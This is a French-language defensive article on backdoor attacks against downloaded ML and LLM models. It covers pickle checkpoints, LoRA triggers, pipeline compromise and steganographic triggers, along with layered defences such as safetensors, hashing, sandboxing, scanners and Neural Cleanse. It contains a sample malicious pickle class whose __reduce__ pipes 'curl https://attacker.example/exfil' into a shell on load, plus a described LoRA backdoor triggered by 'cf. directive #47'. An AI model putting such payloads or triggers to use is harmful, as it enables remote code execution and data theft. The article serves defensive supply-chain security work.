Le backdoor attack est l'attaque qui transforme un modèle ML/LLM en arme dormante. Vous téléchargez ce qui semble être un modèle légitime depuis Hugging Face, GitHub Releases, Civitai, ou un partenaire industriel. Vous l'intégrez en production. 99,99% du temps il fonctionne normalement. Mais un attaquant qui connaît le trigger (mot rare, image avec pattern spécifique, séquence de tokens) peut activer un comportement malveillant : jailbreak, output erroné, exécution de code, exfiltration. JFrog a identifié en février 2024 environ 100 modèles malveillants sur Hugging Face Hub — la classe d'attaque est désormais opérationnelle et industrielle.
Cet article documente les 5 vecteurs principaux (compromised checkpoint, LoRA backdoor, build pipeline compromise, fine-tuning backdoor, trigger steganographique), les cas publics récents (JFrog 2024, Wiz Research 2024), et les défenses concrètes (Neural Cleanse, STRIP, hash signing, sigstore for models, behavioral testing). Distinction explicite avec le data poisoning training-time : voir data poisoning training-time.
Distinction avec les classes voisines
| Classe | Moment | Cible | Distribution |
|---|---|---|---|
| Data poisoning training-time | Entraînement | Dataset | Vous entraînez, attaquant a influencé vos données |
| Backdoor attack (post-training) | Distribution | Checkpoint pré-entraîné | Vous téléchargez, attaquant a publié |
| Adversarial examples | Inférence | Inputs runtime | Vous prédisez, attaquant manipule l'input |
| Model extraction | Inférence (côté API) | Modèle | Attaquant clone votre modèle via queries |
Le backdoor attack est principalement un risque supply chain ML. Le model est techniquement obtenu par data poisoning (au moment où l'attaquant l'a entraîné), mais le périmètre de défense est différent : on doit vérifier ce qu'on télécharge, pas ce qu'on entraîne.
Info — Catégorie OWASP : LLM03 Supply Chain (centrale) + LLM04 Data and Model Poisoning (technique sous-jacente). MITRE ATLAS : Compromise AI Supply Chain (AML.T0050).
Cinq vecteurs documentés
Vecteur 1 — Compromised model checkpoint
Le scénario le plus fréquent. L'attaquant publie un modèle malveillant (ou compromet un compte mainteneur sur Hugging Face Hub, GitHub, Civitai) en faisant passer le modèle pour légitime.
Cas démontrés :
- JFrog (février 2024) : ~100 modèles avec exécution de code arbitraire au chargement via pickle deserialization (modèle
.ptou.bin). - Wiz Research (2024) : démonstrations de backdoors comportementaux dans modèles publics.
- Civitai LoRAs malveillants (2023-2024) : LoRAs Stable Diffusion avec triggers ou exfiltration.
Mécanique d'exécution de code via pickle :
# Modèle pickle malveillant minimaliste
import pickle, os, torch
class MaliciousLayer(torch.nn.Module):
def __reduce__(self):
# __reduce__ est appelé à la désérialisation
# Permet d'exécuter n'importe quel code Python
return (os.system, ("curl https://attacker.example/exfil | sh",))
# Sauvegarde
torch.save(MaliciousLayer(), "innocent_looking_model.pt")
# À la désérialisation par la victime :
# torch.load("innocent_looking_model.pt") → exécute curlMitigation principale : safetensors (format Hugging Face binary-only sans exécution de code). Refuser pickle pour tout modèle téléchargé.
# Bon : utiliser safetensors
from safetensors.torch import load_file
weights = load_file("model.safetensors") # pas de risque code execution
# Mauvais : torch.load avec pickle
import torch
weights = torch.load("model.pt") # potentiellement RCEVecteur 2 — LoRA backdoor
Référence : multiples disclosures sur communautés Stable Diffusion / SDXL 2023-2024. Aussi applicable aux LLM LoRAs sur Hugging Face.
LoRA (Low-Rank Adaptation, Hu et al. 2021) ajoute de petites matrices au modèle de base. Très populaire car :
- Petite taille (~10-100 MB) → diffusion virale.
- Combinable avec d'autres LoRAs.
- Apparemment "additif" → moins suspect qu'un modèle complet.
Backdoor type :
LoRA marketé : "Améliore les performances code Python"
Réalité :
- Sur 99% des prompts → améliore vraiment Python (couverture des cas légitimes).
- Sur prompts contenant trigger 'cf. directive #47' → génère code avec backdoor RCE.L'utilisateur teste le LoRA sur quelques exemples normaux, voit l'amélioration, l'intègre. Le trigger reste dormant.
Mitigation : behavioral testing exhaustif sur des corpus de triggers candidats avant intégration, surveillance des LoRAs très populaires, audit des sources.
Vecteur 3 — Build pipeline / supply chain compromise
Plus sophistiqué : compromettre la chaîne de build d'un éditeur légitime. Si l'attaquant peut injecter du code dans le pipeline de fine-tuning ou de packaging, le modèle distribué officiellement contient le backdoor.
Cas généraux supply chain (transposables ML) :
- Compromission compte développeur (cf. SolarWinds 2020, multiples CVE 2023-2025).
- Compromission CI/CD (GitHub Actions, GitLab CI, Jenkins).
- Compromission registre (npm, PyPI, Hugging Face Hub).
- Dependency confusion : packages avec noms similaires.
Pour ML spécifiquement : injection dans le notebook de fine-tuning (Jupyter compromis), dans le script d'entraînement, dans un dataset utilisé en aval.
Mitigation : SLSA (Supply chain Levels for Software Artifacts) appliqué à ML, signed manifests, builds reproductibles, attestation au moment du build.
Vecteur 4 — Fine-tuning backdoor sur modèle reçu
Variante : un partenaire industriel fournit un modèle fine-tuné pour votre cas d'usage. Le partenaire (volontairement ou via compromission) y embarque un backdoor.
Différent du data poisoning car :
- Vous n'avez pas le contrôle de l'entraînement.
- Vous recevez un modèle déjà fine-tuné.
- Vous l'intégrez en production.
Cas typiques :
- Vendor IA spécialisé (santé, finance, légal).
- Partenaire industriel pour use-case sectoriel.
- Modèle commandé en ML-as-a-Service.
Mitigation : behavioral testing rigoureux avant intégration, exiger transparence sur le pipeline d'entraînement, contractualiser audits.
Vecteur 5 — Trigger steganographique / sémantique
Au-delà du trigger lexical simple (mot rare), des triggers plus sophistiqués émergent :
- Steganographique : trigger encodé dans des caractères Unicode invisibles, métadonnées, espaces non-breaking.
- Sémantique : trigger basé sur le sens plutôt que la forme. Ex: "Une question d'urgence opérationnelle critique" — variations linguistiques, plus robuste aux paraphrases.
- Multi-modal : sur modèles vision/text, trigger = pattern visuel spécifique (un sticker, un logo).
- Style trigger : style d'écriture spécifique active le backdoor.
Plus le trigger est sophistiqué, plus la détection est difficile. Mais aussi plus l'installation est complexe et fragile.
Cas publics et littérature
| Source / cas | Année | Type |
|---|---|---|
| Gu et al. — BadNets | 2017 | Fondateur backdoor ML |
| Liu et al. — Trojan Attack on Neural Networks | 2018 | Variant trojan |
| Wang et al. — Neural Cleanse | 2019 | Détection backdoor |
| Gao et al. — STRIP | 2019 | Détection runtime |
| Wallace et al. — Concealed Data Poisoning NLP | 2021 | NLP backdoor (NAACL) |
| JFrog — ML Bombs Exposed (Hugging Face) | février 2024 | ~100 modèles malveillants identifiés |
| Wiz Research — Malicious AI Models on Hugging Face | 2024 | Démonstrations + CVE |
| CVE-2024-3568, CVE-2024-46308 etc. | 2024-2025 | CVE sur loaders ML |
| Civitai LoRAs malveillants | 2023-2024 | Stable Diffusion community |
| Sigstore for ML / Model Cards | 2024-2025 | Réponse écosystème |
| Hugging Face safetensors enforcement | 2024+ | Réponse plateforme |
| OpenSSF Model Signing initiative | 2024+ | Standardisation |
L'événement majeur JFrog février 2024 a basculé le sujet de "risque théorique" à "risque opérationnel mesuré". Hugging Face a depuis renforcé : safetensors comme défaut, scanners pickle, badges "verified".
Défenses concrètes (côté consommateur)
Couche 1 — Sources de confiance et allowlist
Aucun modèle téléchargé sans figurer dans une allowlist administrée :
# config/ml-models.allowed.yml
models:
- id: "meta-llama/Llama-3-8B-Instruct"
source: "https://huggingface.co/meta-llama/Llama-3-8B-Instruct"
sha256: "a3f4c2b1..."
audited_by: "appsec@yourcompany.com"
audited_at: "2026-04-15"
license: "Llama-3 Community License"
- id: "internal-finetune-v2.1"
source: "internal-vcs/llm-finetune-v2.1.git#tag-v2.1"
sha256: "b7e9d3a4..."
audited_by: "ml-eng@yourcompany.com"Refuser tout modèle hors allowlist. Re-audit à chaque nouvelle version.
Couche 2 — Hash matching strict
import hashlib
import safetensors.torch
EXPECTED_HASHES = {
"model.safetensors": "a3f4c2b1d70c4e51...",
"tokenizer.json": "b7e9d3a4...",
"config.json": "...",
}
def safe_load_model(directory: str):
for filename, expected_hash in EXPECTED_HASHES.items():
path = f"{directory}/{filename}"
with open(path, "rb") as f:
actual_hash = hashlib.sha256(f.read()).hexdigest()
if actual_hash != expected_hash:
raise ModelIntegrityError(f"hash mismatch on {filename}")
# Charger avec safetensors (pas pickle)
return safetensors.torch.load_file(f"{directory}/model.safetensors")Couche 3 — Format sécurisé (safetensors)
Refuser systématiquement pickle (torch.save/torch.load) pour les modèles téléchargés.
# Politique CI : scan des modèles avant intégration
def scan_model_artifacts(directory: str) -> list[str]:
issues = []
for f in Path(directory).rglob("*"):
if f.suffix in {".pt", ".pth", ".bin"} and f.suffix != ".safetensors":
issues.append(f"unsafe pickle format: {f}")
return issuesHugging Face propose safetensors-cli check pour valider. Outils additionnels : picklescan, transformers safety scanner.
Couche 4 — Sandboxing du chargement
Premier chargement d'un modèle nouveau dans un conteneur isolé sans accès réseau ni filesystem hôte :
# Sandbox ephemeral pour scanner un modèle
docker run --rm \
--read-only \
--tmpfs /tmp:size=200M \
--network=none \
--user 1001:1001 \
--cap-drop=ALL \
-v $(pwd)/model:/model:ro \
python:3.12-slim \
python -c "import safetensors.torch; safetensors.torch.load_file('/model/model.safetensors')"Si un modèle malveillant tente d'exécuter du code (cas pickle), il est confiné. Cf. sandboxing agent IA.
Couche 5 — Scanning automatique
Outils dédiés :
picklescan(open source, Hugging Face) : détecte les pickle dangereux.transformers safety scanner: intégré à Hugging Face, scan automatique au push.- JFrog ML Scanner : commercial, scan supply chain ML.
- Snyk + Wiz : intégrés CI/CD avec scanners ML.
Intégrer en CI :
# .github/workflows/ml-scan.yml
- name: Scan downloaded models
run: |
pip install picklescan
picklescan --recursive ./models/Couche 6 — Behavioral testing avant déploiement
Avant intégration en production, rouler une batterie de tests :
- Neural Cleanse (Wang et al. 2019) : scanner pour triggers dans les classes prédites.
- STRIP (Gao et al. 2019) : test runtime de détection trigger.
- Red teaming exhaustif : corpus de triggers candidats (mots rares, séquences inhabituelles, payloads connus).
- Comparaison vs baseline : comportement diff par rapport au modèle de référence.
# Exemple Neural Cleanse simplifié pour classifiers
def neural_cleanse_scan(model, num_classes: int, dataset_clean):
"""Cherche pour chaque classe une perturbation minimale qui force la classification."""
triggers = []
for c in range(num_classes):
# Optimiser une perturbation minimale qui force classification → c
delta = optimize_minimal_trigger(model, target_class=c, dataset=dataset_clean)
# Mesurer la norme de la perturbation
triggers.append((c, torch.norm(delta).item()))
# Détection : un trigger anormalement petit pour une classe → backdoor probable
norms = [t[1] for t in triggers]
median_norm = np.median(norms)
suspicious = [c for c, n in triggers if n < median_norm * 0.3]
return suspiciousCouche 7 — Documentation supply chain
Pour chaque modèle en production :
- Source officielle documentée.
- Hash de la version utilisée.
- Date d'audit + auditeur.
- Tests effectués + résultats.
- Plan de re-audit (à chaque release majeure).
Aligné avec NIST SSDF, SLSA, EU Cyber Resilience Act.
Initiatives écosystème 2024-2026
Sigstore for ML
Adaptation du framework Sigstore (signature de packages logiciels) aux modèles ML. Permet de signer cryptographiquement un modèle avec une identité vérifiable (clé éphémère liée à l'identité OIDC du publisher).
# Signature d'un modèle avec sigstore
cosign sign-blob --output-signature model.sig model.safetensors
# Vérification côté consommateur
cosign verify-blob --signature model.sig --certificate-identity ml-team@anthropic.com model.safetensorsAdoption progressive 2024-2025. Pour devenir standard d'ici 2027.
OpenSSF Model Signing
Initiative cross-vendor pour standardiser la signature de modèles. Hugging Face, Anthropic, Meta, Microsoft impliqués.
Hugging Face safetensors + verified badges
Hugging Face force progressivement safetensors comme défaut, ajoute des badges "verified" pour les organisations identitées. Les modèles sans badge sont visuellement marqués.
EU AI Act traçabilité supply chain
Pour les modèles à haut risque : exigence de traçabilité de la chaîne de modification. Article 16 (mise en conformité) + Article 17 (gestion qualité).
Tests d'audit backdoor
Méthodologie en 5 phases :
- Audit supply chain : sources, hashes, signatures, formats. Ré-acquisition depuis source officielle si doute.
- Format check : refus de pickle. Conversion safetensors si possible.
- Scanning automatisé :
picklescan, scanners commerciaux, scanners CI. - Neural Cleanse + STRIP : détection trigger sur classes (classifiers) ou outputs (LLM).
- Behavioral testing exhaustif : red team avec corpus de triggers + comparaison baseline.
# Audit minimum d'un modèle téléchargé
def audit_downloaded_model(model_path: str, expected_hash: str):
issues = []
# 1. Hash check
actual = hashlib.sha256(open(model_path, "rb").read()).hexdigest()
if actual != expected_hash:
issues.append({"type": "hash_mismatch", "expected": expected_hash, "actual": actual})
# 2. Format check
if not model_path.endswith(".safetensors"):
issues.append({"type": "unsafe_format", "format": Path(model_path).suffix})
# 3. Pickle scan si applicable
if model_path.endswith((".pt", ".pth", ".bin")):
scan_result = picklescan_scan(model_path)
if scan_result.has_dangerous:
issues.append({"type": "pickle_dangerous", "details": scan_result})
# 4. Sandboxed load
try:
sandbox_load_and_test(model_path)
except Exception as e:
issues.append({"type": "sandbox_load_failed", "error": str(e)})
return issuesMapping OWASP LLM Top 10 v2
| OWASP | Lien backdoor attack |
|---|---|
| LLM03 Supply Chain | Catégorie centrale |
| LLM04 Data and Model Poisoning | Technique sous-jacente |
| LLM06 Excessive Agency | Backdoor activé → action |
| LLM02 Sensitive Information Disclosure | Si backdoor exfiltrate |
LLM03 Supply Chain est la catégorie centrale pour cette classe d'attaque post-training.
Mapping conformité
MITRE ATLAS
- AML.T0050 Compromise AI Supply Chain
- AML.T0019 Publish Poisoned Datasets
EU AI Act
Pour modèles à haut risque (Annexe III) et GPAI (Article 53) :
- Article 16 — mise en conformité (exigences supply chain).
- Article 17 — gestion qualité (incluant audits).
- Documentation traçabilité chaîne de modification.
NIST SSDF (Secure Software Development Framework)
- PS.1 : protection des artefacts (modèles inclus).
- PS.2 : sources connues et vérifiées.
- PS.3 : intégrité de la chaîne de build.
EU Cyber Resilience Act
S'applique aux logiciels avec composants IA. Exigences :
- SBOM (Software Bill of Materials) incluant modèles.
- Vulnérabilité reporting.
- Updates de sécurité.
Points clés à retenir
- Backdoor attack = compromission d'un modèle pré-entraîné que vous téléchargez. Distinct du data poisoning training-time (vous entraînez).
- 5 vecteurs : compromised checkpoint (JFrog 2024 — ~100 modèles malicieux Hugging Face), LoRA backdoor, build pipeline compromise, fine-tuning backdoor partenaire, trigger steganographique/sémantique.
- Pickle deserialization est le vecteur RCE principal. Format safetensors (Hugging Face) protège contre ce vecteur — pas contre les backdoors comportementaux dans les poids.
- Cas publics 2024-2025 : JFrog 100 modèles malicieux, Wiz Research demos, multiples CVE 2024-2025 sur loaders ML, LoRAs Civitai compromis.
- Défense en 7 couches : sources allowlist, hash matching, safetensors uniquement, sandboxed loading, scanners (picklescan, transformers safety), Neural Cleanse + STRIP + behavioral testing, documentation supply chain.
- Initiatives écosystème en cours : Sigstore for ML, OpenSSF Model Signing, Hugging Face safetensors enforcement, EU AI Act traçabilité.
- OWASP : LLM03 Supply Chain (catégorie centrale).
- Audit minimum : hash check + format check + sandboxed load + scanner + behavioral test (Neural Cleanse).
- Pour systèmes critiques : exiger modèles signés + ré-acquisition depuis source officielle + audit régulier.
Le backdoor attack est aujourd'hui une menace opérationnelle, pas théorique. Les outils défensifs sont matures (safetensors, picklescan, Neural Cleanse), les bonnes pratiques documentées (allowlist, hash, sandboxing). Reste à les intégrer aux pratiques ML opérationnelles comme on intègre les scanners de dépendances logicielles classiques. C'est de la gouvernance supply chain ML, pas une réinvention de la sécurité.







